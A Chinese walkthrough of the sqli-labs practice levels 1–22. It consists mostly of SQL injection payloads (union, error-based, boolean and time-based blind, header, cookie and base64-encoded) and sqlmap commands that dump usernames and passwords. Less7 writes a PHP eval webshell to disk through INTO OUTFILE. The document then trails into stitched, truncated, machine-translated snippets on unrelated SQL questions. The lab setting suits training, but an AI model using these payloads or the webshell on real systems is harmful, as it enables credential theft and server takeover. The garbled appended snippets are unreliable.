sqli-labs通关详解

2023-11-04

Less1

找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型
在这里插入图片描述

字符型注入,单引号闭合
判断字段数
在这里插入图片描述

找回显点

在这里插入图片描述
发现有两个回显点
在这里插入图片描述

开始信息收集(注意union前后格式要相同)

?id=-1' union select 1,database(),version()--+
database():当前数据库名
version():数据库版本
user():数据库用户,用于判断是否有最高权限

在这里插入图片描述

开始逐级爆破

爆破数据库

?id=-1' union select 1,2,group_concat(schema_name) from
information_schema.schemata
group_concat()函数可以让多个数据在一行显示,但是只能显示64位,可以选择截取或者用limit的方式 显示全部数据
?id=-1' union select 1,2,(schema_name) from information_schma.schemata limit 0,1--+

在这里插入图片描述

爆破表名
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

在这里插入图片描述

爆破字段名
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='users'--+

在这里插入图片描述

爆破字段
?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from users)--+

在这里插入图片描述

Less1sqlmap运用

sqlmap.py -u ip --batch

在这里插入图片描述

猜解当前数据库名称
sqlmap.py -u ip --batch --current-db

在这里插入图片描述

猜解表名
sqlmap.py -u ip --batch -D "security" --tables

在这里插入图片描述

猜解字段
sqlmap.py -u ip -D "security" -T "users" --columns

在这里插入图片描述

脱库
sqmap.py -u ip -D "security" -T "users" --dump

在这里插入图片描述

Less2

看源码或者尝试,没有闭合方式,说明为数字型注入

在这里插入图片描述

尝试找到注入点
在这里插入图片描述

判断字段数
在这里插入图片描述

找到回显点,然后信息收集判断数据库版本
在这里插入图片描述

开始注入

爆破数据库
?id=-1 union select 1,2,group_concat(schema_name)from
information_schema.schemata--+

在这里插入图片描述

爆破表单名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

在这里插入图片描述

爆破字段内容
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)- -+

在这里插入图片描述

Less2sqlmap运用

扫描注入点
sqlmap.py -u ip --batch

在这里插入图片描述

爆破当前数据库
sqlmap.py -u ip --batch --current-db

在这里插入图片描述

爆破数据表
sqlmap.py -u ip --batch -D "security" --tables

在这里插入图片描述

爆破字段
sqlmap.y -u ip --batch -D "security" -T "users" --columns
最后脱库即可
sqlmap.py -u ip --batch -D "security" -T "users" --dump

Less3

在这里插入图片描述

通过源码查看闭合方式,如果在不知道源码的情况下,可以通过报错回显猜测闭合方式
在这里插入图片描述

判断字段数
在这里插入图片描述

找回显点,信息收集,然后开始逐级爆破

在这里插入图片描述

  1. 爆破表单
    ?id=1’) and 1=2 union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database()-+

在这里插入图片描述
3.爆破字段
?id=1’) and 1=2 union select 1,version(),group_concat(colum_name)from information_schema.columns where table_name=‘users’-+
在这里插入图片描述

4.爆破数据
?id=1’) and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)–+

在这里插入图片描述

sqlmap运用

在这里插入图片描述

Less4

在这里插入图片描述

同样的方法通过报错的回显找到闭合方式

然后判断字段数,开始进行信息收集,然后开始爆破

1.信息收集,字段判断,爆破数据库表
?id=1") and 1=2 union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database()–+
在这里插入图片描述

2.爆破字段
?id=1") and 1=2 union select 1,version(),group_concat(column_name)from information_schema.columns where table_name=“users”–+

在这里插入图片描述

3.最后爆破出所有数据
?id=1") and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)–+

在这里插入图片描述

sqlmap一把梭

在这里插入图片描述

Less5

发现没有了用户和ID的回显,只有”You are ing…",查看有无报错回显,找到闭合方式
在这里插入图片描述

有报错的回显。然后判断字段数

在这里插入图片描述

输入一个假的条件看一下,发现没有了回显
在这里插入图片描述

条件正确有回显,条件错误没有回显,布尔盲注?其实大可不必,上面发现会有报错回显的,所以果断 采取报错注入的方法,报错注入的运用前提是需要有数据库错误的显示,看源码
在这里插入图片描述

报错常用的三个函数, extractvalue(),updatexml(),floor(),还有exp(),演示前三个

  1. 用extractvalue函数进行报错注入。

爆破数据库
?id=1’ or/and extractvalue(1,concat(0x7e,database()/(select
database()),0x7e))–+
在这里插入图片描述

爆破数据库表
?id=1’ or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))–+

在这里插入图片描述
爆破字段
?id=1’ or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e))–+
在这里插入图片描述

group-concat()函数可能放不下所有内容,可以采用截取或者limit函数读取

爆破数据内容
?id=1’ or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))–+
在这里插入图片描述

  1. 用updatexml()函数进行报错注入

爆破数据库表
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)–+

爆破字段
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e),1)–+

爆破数据内容
?id=1’ or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)–+
3.通loor()函数进行报错注入,前提需要知道有多少字段数

爆破数据库
?id=-1’ union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+
在这里插入图片描述

爆破数据库表
?id=-1’ union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+
在这里插入图片描述

爆破字段
?id=-1’ union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

在这里插入图片描述

爆破数据库内容
?id=-1’ union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

在这里插入图片描述

sqlmap直接梭

在这里插入图片描述

Less6

less6与less5的唯一区别在于闭合方式为双引号"

在这里插入图片描述

Less7

在这里插入图片描述

是不是有一点熟悉呢, SQl注入的写入与读取
读取文件 load_file(文件的路径)
写入文件into outfile(),into_dumpfile()
首先还是先猜解闭合方式,单引号家两个小括号 '))
在这里插入图片描述

猜解字段数

通过页面回显布尔方式猜解到字段数为3,能够读写需要的几个条件

  1. 需要高权限(root权限)
  2. 需要有问价写入权限secure_file_priv不是NULL
  3. 需要知道绝对路径
  4. 魔术引号gbc时关闭的 magic_quotes_gpc = Off
    关键步骤写入木马

?id=1’)) and 1=2 union select 1,2,“<?php @eval($_POST['cmd']) ?>”%20 into outfile “X:\xx\xx\xx\xx\shell.php”–+
在这里插入图片描述

写入之后蚁剑提权

在这里插入图片描述

Less8

找到闭合方式为单引号,但是没有报错显示,因此报错注入的方法已经不能够实现注入
在这里插入图片描述

对和错返回不同的页面回显,可以采用布尔盲注的方式,比如判断字段数
在这里插入图片描述

由此可以判断字段数为3

猜解数据库名字的长度
?id=-1’ or length(database())=8–+
小tips:一那么采用逻辑或,因为无法确保前面的条件一定为真

在这里插入图片描述

逐一猜解数据库
?id=-1’ or ascii(substr(database(),1,1))=115–+
或者
?id=-1’ or ascii(mid(database(),1,1))=115–+
或者
?id=-1’ or mid(database(),1,1)=‘s’–+
在这里插入图片描述

按照相同的方法猜解数据表的名字和字段内容
?id=-1’ or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?–+

对于布尔盲注的问题,一般采用脚本进行猜解或者使用sqlmap

sqlmap梭Less8

在这里插入图片描述

Less9

尝试了N种闭合方式之后发现页面的回显都是一样的并且没有任何报错信息,通过源码找到字符型闭 合,浅试一下时间盲注

例如
?id=-1’ or if(length(database())=8,sleep(5),0)–+
在这里插入图片描述

发现页面的响应有了延迟,再burpsuite里面看一下
在这里插入图片描述

响应的时间明显延长了,那么就可以通过这样猜解出数据库信息了

猜解数据库名称
?id=-1’ or if(ascii(mid(database(),1,1))<=135,sleep(5),0)–+
相同的方式猜解数据表数据字段

sqlmap运用时间盲注

![在这里插入图片描述](https://img-blog.csdnimg.cn/7681b4a1128e4ffd9f8d92fc92465b31.png)

Less10

![在这里插入图片描述](https://img-blog.csdnimg.cn/32a53e32f5a849be83eeec6934091d5b.png)

与Less9的区别在于闭合方式为 双引号,同样是时间盲注

Less11

在这里插入图片描述

看见登录框,为方便注入, burpsuite准备,抓包后找注入点和闭合方式
在这里插入图片描述

注入点在username处,闭合方式为单引号
在这里插入图片描述

字段数只有2。
payload

在这里插入图片描述

除了联合注入外还可以报错注入,方式很多,都可以尝试一下

sqlmap Less11post运用

方式一
启动sqlmap探测注入点
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch
爆破当前数据库名
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch --current-db
爆破数据表
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security -T users - -dump

在这里插入图片描述

方式二
将抓包内容保存到 .txt文件中

在这里插入图片描述

启动sqlmap
sqlmap.py -r txt文件位置 -p 要扫描的点

在这里插入图片描述

爆破数据库
sqlmap.py -r .txt文件位置 -p 扫描的位置 --current-db
爆破表
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --tables
脱库
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --dump

Less12

通过简单测试,发现闭合方式为"),如果找到源码会发现与Less11的区别就是闭合方式的不一样,注入方 式完全一样, Less11采用联合查询的注入方式, Less12尝试一次报错注入的方式,字段数依旧为2
在这里插入图片描述

采用extractvalue()函数报错注入

查询数据库表
uname=-1") or extractvalue(1,concat(0x7e,(select database()),0x7e)) – +&passwd=admin&submit=Submit

在这里插入图片描述

爆破数据表
uname=-1") or extractvalue(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e)) – +&passwd=admin&submit=Submit

在这里插入图片描述

爆破字段名
uname=-1") or extractvalue(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 8,1),0x7e)) – +&passwd=admin&submit=Submit
在这里插入图片描述

爆破字段
uname=-1") or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+&passwd=admin&submit=Submit

在这里插入图片描述

用updatexml()函数进行报错注入

查询数据库表
uname=-1") or updatexml(1,concat(0x7e,(select database()),0x7e),1) – +&passwd=admin&submit=Submit
爆破数据表
uname=-1") or updatexml(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) – +&passwd=admin&submit=Submit
爆破字段名
uname=-1") or updatexml(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 8,1),0x7e),1) – +&passwd=admin&submit=Submit
爆破字段
uname=-1") or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+&passwd=admin&submit=Submit

用floor()函数进行爆破

爆破数据库
uname=-1") union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)2))x from information_schema.tables group by x–+&passwd=admin&submit=Submit
爆破数据表
uname=-1") union select count(
),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit
爆破字段表
uname=-1") union select count(
),concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit
爆破字段
uname=-1") union select count(
),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit

Less13

在这里插入图片描述

与Less12的唯一区别为闭合方式为’)

Less14

![在这里插入图片描述](https://img-blog.csdnimg.cn/cc886ce5a69149a4a363879a943b90bf.png)

与Less12的区别闭合方式为"

Less15

![在这里插入图片描述](https://img-blog.csdnimg.cn/9e37f8e7e3844eda8279f646018c6b51.png)

通过图片的回显通过布尔盲注的方式发现闭合方式为单引号闭合

正确的数据与错误数据页面回显的图片不一样,可以尝试一下布尔盲注
payload
在这里插入图片描述

尝试猜解一下数据库的名字
在这里插入图片描述

通过图片的回显情况逐一猜解内容,当然也可以通过延时注入的方式猜解一下

在这里插入图片描述

sqlmap猜解布尔盲注

因为Less15为post的提交方式,首先抓包将数据包头存储在一个文件中

sqlmap.py -r 文件位置 -p 扫描位置 --batch --current-db //爆破当前数据库名
sqlmap…py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库

在这里插入图片描述

Less16

在Less15的原题上将闭合方式变成了")

在这里插入图片描述

Less17

提示密码重设置,猜一猜注入点会不会事密码的位置呢,验证一下
在这里插入图片描述

payload

在这里插入图片描述

sqlmap梭

在这里插入图片描述

Less18

网页记录了本地ip的信息,说明可能事数据库记录了本机的信息,即后台获取了一些诸如Ip的信息保存 到数据库中,并且页面返回了数据包user-agent的信息,那么在请求头中就可能存在注入点
在这里插入图片描述

通过源码看一下
在这里插入图片描述

源代码标识获取浏览器信息,即user-Agent部分,表示客户端通过什么浏览器向后台请求
在这里插入图片描述

在后面的请求中也有将该部分进行存储添加到数据库,现在就可以通过一些手段在数据添加的同时进行 注入
payload

'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#

在这里插入图片描述

sqlmap进行头部注入
在头部注入爆破中, sqlmap需要提高扫描等级 level和risk

level x(x为1-5) 当为2时会对头部的cookie进行扫描注入尝试,x>=3时队user-Agent,ip,referer 参数进行扫描
risk x(x 1-3) 1时进行大部分扫描 2会增加基于事件的测试语句 3会增加or语句的sql注入

在这里插入图片描述
或者将数据包保存下来
在这里插入图片描述

在user-Agent的末尾打上*

在这里插入图片描述

Less19

成功登录后返回referer位置,说明在数据包头referer位置有注入点
在这里插入图片描述

payload

在这里插入图片描述

sqlmap 梭

然后按照格式再sqlmap上进行爆破

在这里插入图片描述

Less20

登录之后发现有很明显的cookie提示,可想而知在哪里注入
在这里插入图片描述

登录之后刷新页面,一定要保证cookie还在存在的前提下进行抓包
判断字段数,发现没有字段回显,采取报错,盲注手段都可以

在知道字段的前提下可以使用floor()函数进行报错注入
在这里插入图片描述

爆破数据库名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

爆破表名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
在这里插入图片描述

爆破字段名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
在这里插入图片描述

爆破字段内容
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select username/password from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

sqlmap cookie注入

在这里插入图片描述

打上* level 等级2

在这里插入图片描述

Less21

成功登录后发现在Cookie处登录的信息被进行了加密,说明在客户端登录的信息被进行了加密
在这里插入图片描述

可以尝试在每次注入前对payload进行加密在注入
在这里插入图片描述

先将语句进行base64加密,再进行注入,通过回显找到闭合方式为’)
在这里插入图片描述

更改payload再次进行注入
在这里插入图片描述

找到了字段数,尝试爆破数据库名
payload

admin’) and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
base64加密 YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdl KSwxKSM=
在这里插入图片描述

对以往常规的爆破语句进行base64加密后进行爆破即可

sqlmap加密注入运用

将数据包头的内容重新粘贴到新的文档中,再Cookie处标上*
启动sqlmap,对进行加密注入的数据需要用到tamper模块

扫描
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py”
爆破数据库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” -D security - -tables
脱库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” -D security - T users --dump

在这里插入图片描述

Less22

与Less21的唯一区别在于此关闭合方式为双引号"

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs通关详解 的相关文章

  • 使用每个单独行的多个“where”子句更新多行

    我正在尝试像这样更新我的表 Update MyTable SET value 1 WHERE game id 1 x 4 y 8 SET value 2 WHERE game id 1 x 3 y 7 SET value 3 WHERE g
  • 帮助将二进制图像数据从 SQL Server 读取到 PHP 中

    我似乎无法找到将二进制数据从 SQL 服务器读取到 PHP 的方法 我正在开发一个项目 需要能够将图像直接存储在 SQL 表中 而不是文件系统上 目前 我一直在使用这样的查询 插入 myTable 文档 选择 从 OPENROWSET BU
  • Postgresql 和 jsonb - 将键/值插入多级数组

    非常类似于这个帖子 https stackoverflow com questions 58959678 postgresql add key to each objects of an jsonb array 但我很难适应他们的解决方案
  • 如何防止用户生成的 Sql 查询上的 Sql 注入

    我有一个项目 私有的 ASP net 网站 受 https 密码保护 其中要求之一是用户能够输入直接查询数据库的 Sql 查询 我需要能够允许这些查询 同时防止它们对数据库本身造成损坏 以及访问或更新它们不应该访问 更新的数据 我制定了以下
  • SQL Server - 如何向登录名授予对所有数据库的读取访问权限?

    我需要向新登录授予对服务器上所有 300 个数据库的读取权限 如何在不选中用户映射区域中的 300 个复选框的情况下完成此操作 一种方法是在 SSMS 的查询菜单上设置 结果为文本 然后执行以下命令 它实际上并不进行更改 而是生成一个脚本供
  • 如何获取共同好友列表

    你好 我想知道如何才能找到共同的朋友 我目前在思考这个问题时遇到问题 我有一个名为 users 的表 它是这样的 id name 1 Kenny 2 Jack 3 Jimmy 4 Chris 5 Meg 6 Jake 7 Micheal 8
  • 如何在存储过程中使用名称求和和分组?

    我想对钱列求和 但我想要状态中的组名称和代码 这是存储过程代码 Sql Server 2008 SELECT um upmoney as money um pId as code um FName as name up status as
  • SQL如何显示某个日期之前的数据

    我有几张桌子 一个是一个工人表显示工人代码 名字和姓氏 工作日期其中显示工人代码 工作开始日期 结束日期和工作区域代码 导师有工人编号 名字 姓氏和工作区号 Job area有工作区域代码名称和主管 我想要做的是在日期 10 09 10 之
  • 转置和聚合 Oracle 列数据

    我有以下数据 Base End RMSA Item 1 RMSA Item 2 RMSA Item 3 RMSB Item 1 RMSB Item 2 RMSC Item 4 我想将其转换为以下格式 Key Products RMSA RM
  • 如何手动设置auto_increment的下一个值?

    我手动向表中添加了一些行 并且还手动设置了 ID 自动增量 现在 当我尝试通过我的应用程序将新行添加到数据库表中时 我收到错误 创建的 ID 值已存在 如何手动设置下一个ID值 例如 在表中我必须有ID 那么如何告诉PostgreSQL 下
  • 如何在 SQL 中进行广度优先搜索?

    给定一棵存储为关系的树 Parent Child 1 2 1 3 3 4 3 5 2 6 7 8 7 9 如何获取给定节点的所有后代 例如 对于 1
  • 使用sqlbulkcopy之前如何创建表

    我有一个 DBF 文件 我正在尝试导入该文件 然后将其写入 SQL 表 我遇到的问题是 如果我使用 SqlBulkCopy 它需要我提前创建表 但在我的场景中这是不可能的 因为 dbf 文件不断变化 到目前为止 这是我的代码 public
  • sql查询中case语句中的布尔值

    我在选择查询中使用 case 语句 类似这样 Select col1 col2 isActive case when col3 abc then 1 else 0 end col4 from
  • 通过字符串操作预防 PHP SQL 注入[重复]

    这个问题在这里已经有答案了 可能的重复 PHP 中防止 SQL 注入的最佳方法 https stackoverflow com questions 60174 best way to prevent sql injection in php
  • 如何从连接字符串中提取数据库名称,而不考虑 RDBMS?

    我正在研究一个不知道正在使用的 RDBMS 的课程 当然 应用程序的其余部分都清楚这一点 连接字符串是此类的输入 我需要数据库名称 无论 RDBMS 如何 如何从连接字符串中提取数据库名称 我读到以下问题 如何使用 SqlConnectio
  • TSQL:无法对 COUNT(*) 执行聚合函数 AVG 来查找一天中最繁忙的时间

    考虑一个保存日志数据的 SQL Server 表 重要的部分是 CREATE TABLE dbo CustomerLog ID int IDENTITY 1 1 NOT NULL CustID int NOT NULL VisitDate
  • 如何在oracle中获取表作为输出参数

    我正在尝试将 Oracle 过程调用的 out 参数强制转换为对象 它不起作用 因为 据我了解 我需要定义一个映射 它告诉方法如何转换它 如果地图为空或未正确填充 则它默认为 STRUCT 类型的对象 在我的情况下这是错误的 我已经构建了一
  • C# 查询两个数据库的数据

    我目前有一个查询 我正在从两个不同的数据库获取数据 这些数据被附加到一个名为 accountbuys 的列表中 我的第一个表有三个数据条目 3个想要购买股票的帐户 下一张表有 17 个数据点 购买 17 只股票 I am merging t
  • If Else 条件的 SQLite 语法

    我正在使用 SQLite 数据库 我的表有一个名为 密码 的文本列 早些时候 为了检索我用来执行简单操作的值select from myTable询问 但现在的要求是 如果Password值不是NULL那么我需要将其显示为 是 或 否 它是
  • 在 Django shell 会话期间获取 SQL 查询计数

    有没有办法打印 Django ORM 在 Django shell 会话期间执行的原始 SQL 查询的数量 Django 调试工具栏已经提供了此类信息 例如 5 QUERIES in 5 83MS但如何从 shell 中获取它并不明显 您可

随机推荐

  • element-ui更改el-table表头背景颜色、字体大小

    秃然发现一个问题 所以记录一下 每个人都知道
  • docker odoo创建模块

    docker启动的如下步骤将创建并安装一个新的插件模块 进入到工作目录即你要操作并放置新建的自定义模块的插件目录中 为新模块选择一个技术名称并使用该名称作为模块名创建目录 本例中 我们使用my library pert PertdeMacB
  • JPA-Specification常用条件查询构造方式

    JPA Specification常用条件查询构造方式 1 toPredicate方法 Predicate toPredicate Root
  • 【TS】Error: Property ‘children‘ does not exist on type ‘X‘

    最近 在做项目模块的迁移 新项目需要使用ts 遇到的问题有点多 记录一下 先来复现一下场景 import React from react type PersonProps name string age number const Pers
  • 阿里云云服务器ECS要怎么绑定域名?

    阿里云云服务器ECS要怎么绑定域名 使用阿里云云服务器ECS 可以轻松地将域名与您的服务器实例进行绑定 以便通过域名来访问您的网站或应用程序 本文将提供详细的步骤和说明 教您如何在阿里云上绑定域名到ECS实例 一 购买域名 首先 在绑定域名
  • 目标检测——Anchor-Based算法的学习笔记

    1 前言 在写这篇笔记之前 首先我们需要确定的是 Anchor Based的思路一定优于Anchor Free的算法 这是毋庸置疑的 你想想 一个事情分成两步做 正负目标分类 目标的精细定位和回归 一个事情一步做 目标分类和回归 负样本被当
  • PixelStreaming数据通信

    PixelStreaming数据通信 简介 H5到UE4通信 H5发送 UE4接收 UE4到H5通信 UE4发送 H5接收 iframe postMessage 父页面 子页面 改造UE4提供的像素流送H5 UE4项目bat启动器 问题 U
  • MySQL生产环境部署架构

    MySQL生产环境部署架构 常用的分库分表架构 按业务id分库分表 建立索引映射表同时进行分库分表 数据同步到ES做复杂搜索 分库分表下如何分页 假设用户现在要查询自己的订单 同时订单要求要支持分页 该怎么做 方案一 因为同一个用户的订单可
  • 黑客突破防火墙常用的几种技术(转)

    一 防火墙基本原理 首先 我们需要了解一些基本的防火墙实现原理 防火墙目前主要分包过滤 和状态检测的包过滤 应用层代理防火墙 但是他们的基本实现都是类似的 路由器 网卡 防火墙 网卡 内部网络 防火墙一般有两个以上的网络卡 一个连到外部 r
  • 使用SSM框架进行Crud时后台出现javax.validation.UnexpectedTypeException: HV000030: No validator could be found

    1 处理之前的效果 2 原因是 Java实体类中属性是Integer类型 用了 NotBlank判断不能为空 而这个注解是判断字符串是否为空 3 解决办法 去掉 NotBlank注解 使用 NotNull 两者的区别 1 NotNull 适
  • ClassLoader.getSystemResource("") 为空的原因

    在idea自带的tomcat中 运行正常 发布到tomcat下获取为空 现修改成类 class getClassLoader getResource 获取方式
  • Vue整体架构分解

    Vue js的整体架构可以分解为以下几个部分 文章目录 1 数据驱动 2 组件化 3 响应式系统 4 虚拟DOM 5 插件系统 6 单文件组件 7 模板编译 总结 1 数据驱动 Vue的一个核心特点是数据驱动 Vue会在初始化的时候给数据提
  • 【image】src相对地址的引入

    src相对地址的引入 前言 相对路径 src引用 前言 在引入图片的时候 突然发现通过相对地址引入项目内图片不会了 特此在这里记录一下 以便学习 相对路径 使用原因 对于放在一个项目包内的图片资源 通过相对路径可直接引用 绝对路径是对于网络
  • ASP.NET Core 8 的 Web App

    Web App Web App 与 Web API 的不同之处在于包含 UI 部分 所谓的 UI 就是 HTML 页面 Web App 支持几种渲染HTML 的方式 服务端渲染 客户端渲染 混合渲染 服务端渲染 服务端渲染UI是在浏览器请求
  • Spyder闪退的解决过程记录

    安装了高版本的 PYQT5 后 原来安装的 老版本的 spyder打开闪退 考虑是版本不兼容的问题 卸载了spyder 重新安装了最新版 Version 5 3 1的spyder 在anaconda prompt中输入如下命令 pip un
  • 学习安卓应用开发一课一得+计算器

    一 在学习安卓应用开之前要掌握语言 本文章以Java为基础的安卓应用开发 二 Android开发环境配置 三 计算器开发 一 在学习安卓应用开之前要掌握语言 本文章以Java为基础的安卓应用开发 1 在学习Android开发之前 我首先需要
  • 网络编程(附代码)

    网络编程 1 网络通信协议 1 1 协议和七层模型 七层模型 也称为OSI Open System Interconnection 参考模型 是国际标准化组织 ISO 制定的一个用于计算机或通讯系统间互联的标准体系 它是一个七层的 抽象的模
  • MIPI信号的分析--结合示波器实际测试波形

    MIPI已经不陌生了 对于现在的设计中 摄像头接口 显示接口都有MIPI 所以有了CSI和DSI接口 MIPI最早是手机里面的协议 为了形成行业统一标准 MIPI联盟发起MIPI 移动行业处理器接口 作为移动应用处理器制定的开放标准 1 M
  • 深度学习—卷积神经网络(Convolutional Neural Networks)

    卷积神经网络 Convolutional Neural Networks 卷积神经网络 convolutional neural network CNN 是一种专门用来处理具有类似网格结构的数据的神经网络 例如时间序列数据 可以认为是在时间
  • sqli-labs通关详解

    sqli labs通关详解 Less1 Less1sqlmap运用 Less2 Less2sqlmap运用 Less3 sqlmap运用 Less4 sqlmap一把梭 Less5 sqlmap直接梭 Less6 Less7 Less8 s